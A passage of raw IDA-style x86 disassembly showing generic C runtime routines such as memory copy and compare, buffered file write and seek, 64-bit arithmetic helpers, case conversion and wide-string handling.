		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD39C
		call	sub_422EA8
		mov	edx, dword_4DD39C
		pop	ecx
		mov	ecx, dword_4DD398
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD39C
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD398
		sub	ecx, dword_4DD39C
		mov	dword_4DD39C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD398, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD398, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD39C, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD39C
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD39C
		mov	dword_4DD398, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDDC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26A0D72h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		call	near ptr 26A096Ch
		nop
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDDC, 0Dh
		mov	dword_4DBDE0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE84
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D084, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE84, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		call	near ptr 26A096Ch
		nop
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE78
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE84, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
